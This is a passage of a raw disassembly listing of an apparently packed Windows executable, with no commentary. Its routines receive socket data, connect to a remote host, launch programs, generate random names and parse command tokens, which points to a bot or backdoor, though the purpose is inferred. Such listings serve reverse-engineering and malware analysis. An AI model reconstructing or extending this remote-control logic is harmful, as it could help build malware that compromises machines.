		call	ebp
		jmp	short loc_41B674
; ---------------------------------------------------------------------------


loc_41B637:				; CODE XREF: sub_41B580+ACj
		xor	ecx, ecx
		lea	edx, [esp+24h+var_14]
		mov	[esp+24h+var_10], ecx
		lea	eax, [esp+24h+var_10]
		mov	[esp+24h+var_C], ecx
		push	edx
		mov	[esp+28h+var_8], ecx
		push	eax
		mov	[esp+2Ch+var_4], ecx
		mov	ecx, esi
		mov	[esp+2Ch+var_14], 10h
		call	sub_4018A2
		mov	al, byte ptr [esp+24h+var_C]
		test	al, al
		jz	short loc_41B674
		push	esi
		call	dword ptr [edi+823h]
		add	esp, 4


loc_41B674:				; CODE XREF: sub_41B580+B5j
					; sub_41B580+E8j
		mov	al, [edi+10h]
		test	al, al
		jnz	loc_41B5EE


loc_41B67F:				; CODE XREF: sub_41B580+3Ej
					; sub_41B580+68j ...
		mov	ecx, ebx
		call	sub_4014E7
		pop	esi
		pop	ebp
		pop	ebx
		xor	eax, eax
		pop	edi
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------


loc_41B690:				; CODE XREF: sub_41B580+Bj
					; sub_41B580+19j
		xor	eax, eax
		pop	edi
		add	esp, 14h
		retn
sub_41B580	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B6F0	proc near		; CODE XREF: sub_402108j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	edx, [eax]
		mov	[ecx+806h], edx
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		setnz	al
		mov	[ecx+80Bh], al
		retn	4
sub_41B6F0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B720:				; CODE XREF: ___:00401C35j
		mov	eax, [esp+0Ch]
		push	ebx
		push	ebp
		mov	ebp, [esp+10h]
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		dec	eax
		mov	[ebp+0], bl
		cmp	eax, ebx
		mov	byte ptr [esp+18h], 1
		jle	short loc_41B795
		mov	esi, ebp


loc_41B73F:				; CODE XREF: ___:0041B793j
		cmp	esi, ebx
		jz	short loc_41B795
		cmp	[esp+18h], bl
		jz	short loc_41B795
		mov	ecx, [esp+14h]
		push	ebx
		push	1
		push	esi
		push	ecx
		call	near ptr 71AB615Ah
		nop
		cmp	eax, ebx
		jz	short loc_41B7A4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B7A4
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		jz	short loc_41B79D
		mov	[edi+ebp+1], bl
		mov	al, [esi]
		cmp	al, 0Ah
		jz	short loc_41B780
		cmp	al, 0Dh
		jz	short loc_41B780
		cmp	al, bl
		jnz	short loc_41B788


loc_41B780:				; CODE XREF: ___:0041B776j
					; ___:0041B77Aj
		mov	[edi+ebp-1], bl
		mov	[esp+18h], bl


loc_41B788:				; CODE XREF: ___:0041B77Ej
		mov	edx, [esp+1Ch]
		inc	edi
		inc	esi
		lea	eax, [edx-1]
		cmp	edi, eax
		jl	short loc_41B73F


loc_41B795:				; CODE XREF: ___:0041B73Bj
					; ___:0041B741j ...
		mov	eax, [esp+1Ch]
		mov	[eax+ebp-1], bl


loc_41B79D:				; CODE XREF: ___:0041B76Cj
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41B7A4:				; CODE XREF: ___:0041B75Aj
					; ___:0041B75Fj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B7E0	proc near		; CODE XREF: sub_401280j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		xor	ebx, ebx
		xor	esi, esi
		dec	eax
		cmp	eax, ebx
		push	edi
		mov	[ebp+0], bl
		mov	byte ptr [esp+10h+arg_4], 1
		jle	short loc_41B84A
		mov	edi, ebp


loc_41B7FF:				; CODE XREF: sub_41B7E0+68j
		cmp	edi, ebx
		jz	short loc_41B84A
		cmp	byte ptr [esp+10h+arg_4], bl
		jz	short loc_41B84A
		mov	ecx, [esp+10h+arg_0]
		push	ebx
		push	1
		push	edi
		push	ecx
		nop
		call	near ptr 71AB615Ah
		test	eax, eax
		jz	short loc_41B859
		mov	[esi+ebp+1], bl
		mov	al, [edi]
		cmp	al, 0Ah
		jz	short loc_41B82A
		cmp	al, bl
		jnz	short loc_41B83D


loc_41B82A:				; CODE XREF: sub_41B7E0+44j
		cmp	byte ptr [esi+ebp-1], 0Dh
		jnz	short loc_41B837
		mov	[esi+ebp-1], bl
		jmp	short loc_41B839
; ---------------------------------------------------------------------------


loc_41B837:				; CODE XREF: sub_41B7E0+4Fj
		mov	[edi], bl


loc_41B839:				; CODE XREF: sub_41B7E0+55j
		mov	byte ptr [esp+10h+arg_4], bl


loc_41B83D:				; CODE XREF: sub_41B7E0+48j
		mov	edx, [esp+10h+arg_8]
		inc	esi
		inc	edi
		lea	eax, [edx-1]
		cmp	esi, eax
		jl	short loc_41B7FF


loc_41B84A:				; CODE XREF: sub_41B7E0+1Bj
					; sub_41B7E0+21j ...
		mov	eax, [esp+10h+arg_8]
		pop	edi
		pop	esi
		mov	[eax+ebp-1], bl
		pop	ebp
		mov	al, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41B859:				; CODE XREF: sub_41B7E0+3Aj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn
sub_41B7E0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B880:				; CODE XREF: ___:00401AF0j
		push	ebx
		mov	ebx, [esp+8]
		push	ebp
		mov	ebp, [esp+10h]
		mov	ecx, ebp
		push	esi
		mov	edx, ecx
		push	edi
		xor	eax, eax
		mov	edi, ebx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		xor	esi, esi
		and	ecx, 3
		test	ebp, ebp
		rep stosb
		jle	short loc_41B8DB


loc_41B8A6:				; CODE XREF: ___:0041B8D9j
		push	3
		push	1
		call	sub_4021C6
; ---------------------------------------------------------------------------
		add	esp, 8
		dec	eax
		jz	short loc_41B8C7
		dec	eax
		jz	short loc_41B8C1
		dec	eax
		jnz	short loc_41B8D6
		push	7Ah
		push	61h
		jmp	short loc_41B8CB
; ---------------------------------------------------------------------------


loc_41B8C1:				; CODE XREF: ___:0041B8B6j
		push	5Ah
		push	41h
		jmp	short loc_41B8CB
; ---------------------------------------------------------------------------


loc_41B8C7:				; CODE XREF: ___:0041B8B3j
		push	39h
		push	30h


loc_41B8CB:				; CODE XREF: ___:0041B8BFj
					; ___:0041B8C5j
		call	sub_4021C6
; ---------------------------------------------------------------------------
		add	esp, 8
		mov	[esi+ebx], al


loc_41B8D6:				; CODE XREF: ___:0041B8B9j
		inc	esi
		cmp	esi, ebp
		jl	short loc_41B8A6


loc_41B8DB:				; CODE XREF: ___:0041B8A4j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B900	proc near		; CODE XREF: sub_401424j
		rdtsc
		retn
sub_41B900	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B920	proc near		; CODE XREF: sub_4017FDj

var_4		= dword	ptr -4

		sub	esp, 8
		push	ebx
		mov	ebx, dword_5118D8
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp


loc_41B92F:				; CODE XREF: sub_41B920+43j
					; sub_41B920+4Dj
		call	sub_401424
		push	3E8h
		mov	esi, eax
		mov	edi, edx
		call	ebx
		call	sub_401424
		sub	eax, esi
		push	ebp
		sbb	edx, edi
		push	186A0h
		push	edx
		push	eax
		call	sub_437C60
		push	ebp
		push	0Ah
		push	edx
		push	eax
		call	sub_437C60
		cmp	edx, ebp
		mov	esi, eax
		ja	short loc_41B92F
		jb	short loc_41B96F
		cmp	esi, 0F4240h
		ja	short loc_41B92F


loc_41B96F:				; CODE XREF: sub_41B920+45j
		push	ebp
		push	64h
		push	edx
		push	esi
		call	sub_437BE0
		mov	ecx, eax
		cmp	edx, ebp
		mov	eax, 64h
		mov	[esp+18h+var_4], ebp
		ja	short loc_41B9F9
		jb	short loc_41B98F
		cmp	ecx, 50h
		jnb	short loc_41B998


loc_41B98F:				; CODE XREF: sub_41B920+68j
		mov	eax, 4Bh
		mov	[esp+18h+var_4], ebp


loc_41B998:				; CODE XREF: sub_41B920+6Dj
		cmp	edx, ebp
		ja	short loc_41B9F9
		jb	short loc_41B9A3
		cmp	ecx, 47h
		jnb	short loc_41B9AC


loc_41B9A3:				; CODE XREF: sub_41B920+7Cj
		mov	eax, 42h
		mov	[esp+18h+var_4], ebp


loc_41B9AC:				; CODE XREF: sub_41B920+81j
		cmp	edx, ebp
		ja	short loc_41B9F9
		jb	short loc_41B9B7
		cmp	ecx, 37h
		jnb	short loc_41B9C0


loc_41B9B7:				; CODE XREF: sub_41B920+90j
		mov	eax, 32h
		mov	[esp+18h+var_4], ebp


loc_41B9C0:				; CODE XREF: sub_41B920+95j
		cmp	edx, ebp
		ja	short loc_41B9F9
		jb	short loc_41B9CB
		cmp	ecx, 26h
		jnb	short loc_41B9D4


loc_41B9CB:				; CODE XREF: sub_41B920+A4j
		mov	eax, 21h
		mov	[esp+18h+var_4], ebp


loc_41B9D4:				; CODE XREF: sub_41B920+A9j
		cmp	edx, ebp
		ja	short loc_41B9F9
		jb	short loc_41B9DF
		cmp	ecx, 1Eh
		jnb	short loc_41B9E8


loc_41B9DF:				; CODE XREF: sub_41B920+B8j
		mov	eax, 19h
		mov	[esp+18h+var_4], ebp


loc_41B9E8:				; CODE XREF: sub_41B920+BDj
		cmp	edx, ebp
		ja	short loc_41B9F9
		jb	short loc_41B9F3
		cmp	ecx, 0Ah
		jnb	short loc_41B9F9


loc_41B9F3:				; CODE XREF: sub_41B920+CCj
		xor	eax, eax
		mov	[esp+18h+var_4], ebp


loc_41B9F9:				; CODE XREF: sub_41B920+66j
					; sub_41B920+7Aj ...
		sub	eax, ecx
		pop	edi
		add	eax, esi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
sub_41B920	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41BA50	proc near		; CODE XREF: sub_402040j

var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_41BA50
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 34h
		mov	al, byte_449729
		push	ebx
		push	esi
		push	edi
		test	al, al
		mov	[esp+4Ch+var_40], 0
		jz	loc_41BBAF
		push	ebp
		lea	ecx, [esp+50h+var_3C]
		call	sub_40142E
		push	400h
		lea	ecx, [esp+54h+var_3C]
		mov	[esp+54h+var_4], 1
		xor	bl, bl
		call	sub_401C71
		mov	ebp, eax
		call	sub_401F0A
		lea	ecx, [esp+50h+var_3C]
		call	sub_4013E3
		mov	[esp+50h+arg_4], eax
		lea	eax, [esp+50h+arg_4]
		push	eax
		push	ebp
		nop
		call	near ptr 27F10D1h
		test	eax, eax
		jnz	short loc_41BAE6
		mov	edi, offset byte_448F30
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	edx, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb


loc_41BAE6:				; CODE XREF: sub_41BA50+74j
		movsx	ecx, byte ptr [ebp+0]
		mov	eax, 41h


loc_41BAEF:				; CODE XREF: sub_41BA50+A9j
		cmp	ecx, eax
		jnz	short loc_41BAF5
		mov	bl, 1


loc_41BAF5:				; CODE XREF: sub_41BA50+A1j
		inc	eax
		cmp	eax, 5Bh
		jl	short loc_41BAEF
		mov	eax, 61h


loc_41BB00:				; CODE XREF: sub_41BA50+BAj
		cmp	ecx, eax
		jnz	short loc_41BB06
		mov	bl, 1


loc_41BB06:				; CODE XREF: sub_41BA50+B2j
		inc	eax
		cmp	eax, 7Bh
		jl	short loc_41BB00
		test	bl, bl
		jnz	short loc_41BB32
		mov	edi, offset byte_448F30
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_41BB32:				; CODE XREF: sub_41BA50+BEj
		mov	esi, dword_511AC8
		call	esi	; rand
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		lea	ecx, [esp+50h+var_3C]
		push	edx
		call	sub_401140
		call	esi	; rand
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		lea	ecx, [esp+50h+var_3C]
		push	edx
		call	sub_401140
		call	esi	; rand
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		lea	ecx, [esp+50h+var_3C]
		push	edx
		call	sub_401140
		mov	esi, [esp+50h+arg_0]
		lea	edx, [esp+50h+var_3C]
		push	edx
		mov	ecx, esi
		call	sub_4014D3
		mov	[esp+50h+var_40], 1
		lea	ecx, [esp+50h+var_3C]
		mov	byte ptr [esp+50h+var_4], 0
		call	sub_401226
		pop	ebp
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [esp+40h+var_C]
		mov	large fs:0, ecx
		add	esp, 40h
		retn
; ---------------------------------------------------------------------------


loc_41BBAF:				; CODE XREF: sub_41BA50+2Aj
		lea	ecx, [esp+4Ch+var_24]
		call	sub_40142E
		mov	ebx, 2
		mov	[esp+4Ch+var_4], ebx
		nop
		call	near ptr 27D09E8h
		push	eax
		nop
		call	near ptr 77C371BCh
		mov	edi, dword_511AC8
		add	esp, 4
		call	edi	; rand
		cdq
		mov	ecx, 3
		idiv	ecx
		lea	ecx, [esp+4Ch+var_24]
		mov	esi, edx
		mov	edx, [esp+4Ch+arg_4]
		push	edx
		add	esi, 6
		call	sub_4015E1
		test	esi, esi
		jle	short loc_41BC4E


loc_41BBF8:				; CODE XREF: sub_41BA50+1FCj
		lea	ecx, [esp+4Ch+var_3C]
		call	sub_40142E
		lea	eax, [esp+4Ch+var_24]
		lea	ecx, [esp+4Ch+var_3C]
		push	eax
		mov	byte ptr [esp+50h+var_4], 3
		call	sub_401FDC
		call	edi	; rand
		cdq
		mov	ecx, 1Ah
		idiv	ecx
		lea	ecx, [esp+4Ch+var_3C]
		add	edx, 61h
		push	edx
		call	sub_4017EE
		push	eax
		lea	edx, [esp+54h+var_24]
		push	offset dword_444E54
		push	edx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+4Ch+var_3C]
		mov	byte ptr [esp+4Ch+var_4], bl
		call	sub_401226
		dec	esi
		jnz	short loc_41BBF8


loc_41BC4E:				; CODE XREF: sub_41BA50+1A6j
		mov	esi, [esp+4Ch+arg_0]
		lea	eax, [esp+4Ch+var_24]
		push	eax
		mov	ecx, esi
		call	sub_4014D3
		lea	ecx, [esp+4Ch+var_24]
		mov	[esp+4Ch+var_40], 1
		mov	byte ptr [esp+4Ch+var_4], 0
		call	sub_401226
		mov	ecx, [esp+4Ch+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 40h
		retn
sub_41BA50	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41BD20:				; CODE XREF: ___:00401573j
		mov	al, [esp+4]
		cmp	al, 20h
		jz	short loc_41BD2F
		cmp	al, 9
		jz	short loc_41BD2F
		xor	al, al
		retn
; ---------------------------------------------------------------------------


loc_41BD2F:				; CODE XREF: ___:0041BD26j
					; ___:0041BD2Aj
		mov	al, 1
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41BD50:				; CODE XREF: ___:00401EF6j
		mov	eax, [esp+4]
		push	offset dword_444E5C
		push	eax
		call	near ptr 77C3F010h
		nop
		add	esp, 8
		test	eax, eax
		jz	short loc_41BD74
		push	eax


loc_41BD68:				; DATA XREF: Themida_:0058BCF2o
		nop
		call	near ptr 77C40AB1h
		add	esp, 4
		mov	al, 1
		retn
; ---------------------------------------------------------------------------


loc_41BD74:				; CODE XREF: ___:0041BD65j
		xor	al, al
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41BD90	proc near		; CODE XREF: sub_401483j

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_20		= byte ptr -20h
arg_0		= dword	ptr  4

		sub	esp, 30h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+40h+arg_0]
		test	edi, edi
		jz	loc_41BFEE
		mov	esi, offset byte_448F30
		mov	eax, edi


loc_41BDAA:				; CODE XREF: sub_41BD90+3Cj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BDD2
		test	cl, cl
		jz	short loc_41BDCE
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BDD2
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_41BDAA


loc_41BDCE:				; CODE XREF: sub_41BD90+26j
		xor	eax, eax
		jmp	short loc_41BDD7
; ---------------------------------------------------------------------------


loc_41BDD2:				; CODE XREF: sub_41BD90+22j
					; sub_41BD90+32j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BDD7:				; CODE XREF: sub_41BD90+40j
		test	eax, eax
		jz	loc_41BFEE
		push	20h
		lea	eax, [esp+44h+var_20]
		push	edi
		push	eax
		call	near ptr 77C47A90h
		nop
		mov	edi, dword_511B00
		lea	ecx, [esp+4Ch+var_20]
		push	offset dword_4447F8
		push	ecx
		call	edi	; strtok
		add	esp, 14h
		mov	[esp+40h+var_30], eax
		test	eax, eax
		jz	loc_41BFEE
		mov	ebx, 1
		lea	esi, [esp+40h+var_2C]


loc_41BE17:				; CODE XREF: sub_41BD90+A4j
		push	offset dword_4447F8
		push	0
		call	edi	; strtok
		add	esp, 8
		mov	[esi], eax
		test	eax, eax
		jz	loc_41BFEE
		inc	ebx
		add	esi, 4
		cmp	ebx, 4
		jl	short loc_41BE17
		mov	ebp, [esp+40h+var_30]
		mov	esi, offset dword_444E78
		mov	eax, ebp


loc_41BE41:				; CODE XREF: sub_41BD90+D3j
		mov	cl, [eax]
		mov	bl, [esi]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BE69
		test	dl, dl
		jz	short loc_41BE65
		mov	cl, [eax+1]
		mov	bl, [esi+1]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BE69
		add	eax, 2
		add	esi, 2
		test	dl, dl
		jnz	short loc_41BE41


loc_41BE65:				; CODE XREF: sub_41BD90+BDj
		xor	eax, eax
		jmp	short loc_41BE6E
; ---------------------------------------------------------------------------


loc_41BE69:				; CODE XREF: sub_41BD90+B9j
					; sub_41BD90+C9j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BE6E:				; CODE XREF: sub_41BD90+D7j
		test	eax, eax
		jnz	short loc_41BE7C
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BE7C:				; CODE XREF: sub_41BD90+E0j
		mov	esi, offset dword_444E74
		mov	eax, ebp


loc_41BE83:				; CODE XREF: sub_41BD90+115j
		mov	cl, [eax]
		mov	bl, [esi]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BEAB
		test	dl, dl
		jz	short loc_41BEA7
		mov	cl, [eax+1]
		mov	bl, [esi+1]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BEAB
		add	eax, 2
		add	esi, 2
		test	dl, dl
		jnz	short loc_41BE83


loc_41BEA7:				; CODE XREF: sub_41BD90+FFj
		xor	eax, eax
		jmp	short loc_41BEB0
; ---------------------------------------------------------------------------


loc_41BEAB:				; CODE XREF: sub_41BD90+FBj
					; sub_41BD90+10Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BEB0:				; CODE XREF: sub_41BD90+119j
		mov	edi, [esp+40h+var_2C]
		test	eax, eax
		jnz	short loc_41BEFA
		mov	esi, offset dword_444E70
		mov	edx, edi


loc_41BEBF:				; CODE XREF: sub_41BD90+151j
		mov	al, [edx]
		mov	cl, [esi]
		mov	bl, al
		cmp	al, cl
		jnz	short loc_41BEE7
		test	bl, bl
		jz	short loc_41BEE3
		mov	cl, [edx+1]
		mov	al, [esi+1]
		mov	bl, cl
		cmp	cl, al
		jnz	short loc_41BEE7
		add	edx, 2
		add	esi, 2
		test	bl, bl
		jnz	short loc_41BEBF


loc_41BEE3:				; CODE XREF: sub_41BD90+13Bj
		xor	edx, edx
		jmp	short loc_41BEEC
; ---------------------------------------------------------------------------


loc_41BEE7:				; CODE XREF: sub_41BD90+137j
					; sub_41BD90+147j
		sbb	edx, edx
		sbb	edx, 0FFFFFFFFh


loc_41BEEC:				; CODE XREF: sub_41BD90+155j
		test	edx, edx
		jnz	short loc_41BEFA
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BEFA:				; CODE XREF: sub_41BD90+126j
					; sub_41BD90+15Ej
		mov	esi, offset dword_444E6C
		mov	edx, ebp


loc_41BF01:				; CODE XREF: sub_41BD90+193j
		mov	al, [edx]
		mov	cl, [esi]
		mov	bl, al
		cmp	al, cl
		jnz	short loc_41BF29
		test	bl, bl
		jz	short loc_41BF25
		mov	cl, [edx+1]
		mov	al, [esi+1]
		mov	bl, cl
		cmp	cl, al
		jnz	short loc_41BF29
		add	edx, 2
		add	esi, 2
		test	bl, bl
		jnz	short loc_41BF01


loc_41BF25:				; CODE XREF: sub_41BD90+17Dj
		xor	edx, edx
		jmp	short loc_41BF2E
; ---------------------------------------------------------------------------


loc_41BF29:				; CODE XREF: sub_41BD90+179j
					; sub_41BD90+189j
		sbb	edx, edx
		sbb	edx, 0FFFFFFFFh


loc_41BF2E:				; CODE XREF: sub_41BD90+197j
		test	edx, edx
		jnz	short loc_41BF74
		mov	esi, offset dword_444E68
		mov	edx, edi


loc_41BF39:				; CODE XREF: sub_41BD90+1CBj
		mov	al, [edx]
		mov	cl, [esi]
		mov	bl, al
		cmp	al, cl
		jnz	short loc_41BF61
		test	bl, bl
		jz	short loc_41BF5D
		mov	cl, [edx+1]
		mov	al, [esi+1]
		mov	bl, cl
		cmp	cl, al
		jnz	short loc_41BF61
		add	edx, 2
		add	esi, 2
		test	bl, bl
		jnz	short loc_41BF39


loc_41BF5D:				; CODE XREF: sub_41BD90+1B5j
		xor	edx, edx
		jmp	short loc_41BF66
; ---------------------------------------------------------------------------


loc_41BF61:				; CODE XREF: sub_41BD90+1B1j
					; sub_41BD90+1C1j
		sbb	edx, edx
		sbb	edx, 0FFFFFFFFh


loc_41BF66:				; CODE XREF: sub_41BD90+1CFj
		test	edx, edx
		jnz	short loc_41BF74
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BF74:				; CODE XREF: sub_41BD90+1A0j
					; sub_41BD90+1D8j
		mov	esi, offset dword_444E64
		mov	ecx, ebp


loc_41BF7B:				; CODE XREF: sub_41BD90+20Dj
		mov	al, [ecx]
		mov	bl, [esi]
		mov	dl, al
		cmp	al, bl
		jnz	short loc_41BFA3
		test	dl, dl
		jz	short loc_41BF9F
		mov	al, [ecx+1]
		mov	bl, [esi+1]
		mov	dl, al
		cmp	al, bl
		jnz	short loc_41BFA3
		add	ecx, 2
		add	esi, 2
		test	dl, dl
		jnz	short loc_41BF7B


loc_41BF9F:				; CODE XREF: sub_41BD90+1F7j
		xor	ecx, ecx
		jmp	short loc_41BFA8
; ---------------------------------------------------------------------------


loc_41BFA3:				; CODE XREF: sub_41BD90+1F3j
					; sub_41BD90+203j
		sbb	ecx, ecx
		sbb	ecx, 0FFFFFFFFh


loc_41BFA8:				; CODE XREF: sub_41BD90+211j
		test	ecx, ecx
		jnz	short loc_41BFEE
		mov	esi, offset dword_444E60
		mov	eax, edi


loc_41BFB3:				; CODE XREF: sub_41BD90+245j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BFDB
		test	cl, cl
		jz	short loc_41BFD7
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BFDB
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_41BFB3


loc_41BFD7:				; CODE XREF: sub_41BD90+22Fj
		xor	eax, eax
		jmp	short loc_41BFE0
; ---------------------------------------------------------------------------


loc_41BFDB:				; CODE XREF: sub_41BD90+22Bj
					; sub_41BD90+23Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BFE0:				; CODE XREF: sub_41BD90+249j
		test	eax, eax
		jnz	short loc_41BFEE
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BFEE:				; CODE XREF: sub_41BD90+Dj
					; sub_41BD90+49j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 30h
		retn
sub_41BD90	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C0A0	proc near		; CODE XREF: sub_402022j

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		push	ebx
		push	esi
		push	6
		push	1
		push	2
		xor	bl, bl
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41C108
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41C108
		mov	eax, [esp+18h+arg_0]
		push	eax
		call	near ptr 71AB2BF4h
		nop
		mov	ecx, [esp+18h+arg_4]
		mov	[esp+18h+var_C], eax
		push	ecx
		call	near ptr 71AB2B66h
		nop
		lea	edx, [esp+18h+var_10]
		push	10h
		push	edx
		push	esi
		mov	[esp+24h+var_E], ax
		mov	[esp+24h+var_10], 2
		call	near ptr 71AB406Ah
		nop
		test	eax, eax
		jnz	short loc_41C0F9
		mov	bl, 1


loc_41C0F9:				; CODE XREF: sub_41C0A0+55j
		push	esi
		call	near ptr 71AB9639h
		nop
		mov	al, bl
		pop	esi
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41C108:				; CODE XREF: sub_41C0A0+18j
					; sub_41C0A0+1Dj
		pop	esi
		xor	al, al
		pop	ebx
		add	esp, 10h
		retn
sub_41C0A0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C130	proc near		; CODE XREF: sub_401299j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	0
		push	0
		push	eax
		push	ecx
		push	offset aOpen	; "open"
		push	0
		nop
		call	near ptr 7CA41110h
		cmp	eax, 20h
		setnl	al
		retn
sub_41C130	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C170	proc near		; CODE XREF: sub_402167j

var_54		= byte ptr -54h
var_44		= dword	ptr -44h
var_14		= word ptr -14h
arg_0		= dword	ptr  4

		sub	esp, 54h
		push	edi
		mov	ecx, 11h
		xor	eax, eax
		lea	edi, [esp+58h+var_44]
		rep stosd
		mov	[esp+58h+var_14], ax
		lea	eax, [esp+58h+var_54]
		mov	edx, [esp+58h+arg_0]
		lea	ecx, [esp+58h+var_44]
		push	eax
		push	ecx
		push	0
		push	0
		push	28h
		push	0
		push	0
		push	0
		push	edx
		push	0
		mov	[esp+80h+var_44], 44h
		nop
		call	near ptr 27E059Dh
		test	eax, eax
		setnle	al
		pop	edi
		add	esp, 54h
		retn
sub_41C170	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41C1E0:				; CODE XREF: ___:00401884j
		sub	esp, 354h
		mov	eax, off_444E84
		mov	ecx, off_444E88
		mov	[esp+0], eax
		mov	al, byte_448F30
		push	esi
		push	edi
		mov	[esp+0Ch], ecx
		mov	[esp+14h], al
		mov	ecx, 45h
		xor	eax, eax
		lea	edi, [esp+15h]
		mov	edx, dword_444E8C
		rep stosd
		mov	ecx, off_444E7C
		mov	[esp+10h], edx
		mov	dx, word_444E80
		mov	[esp+12Ch], ecx
		stosw
		stosb
		mov	ecx, 8Ah
		xor	eax, eax
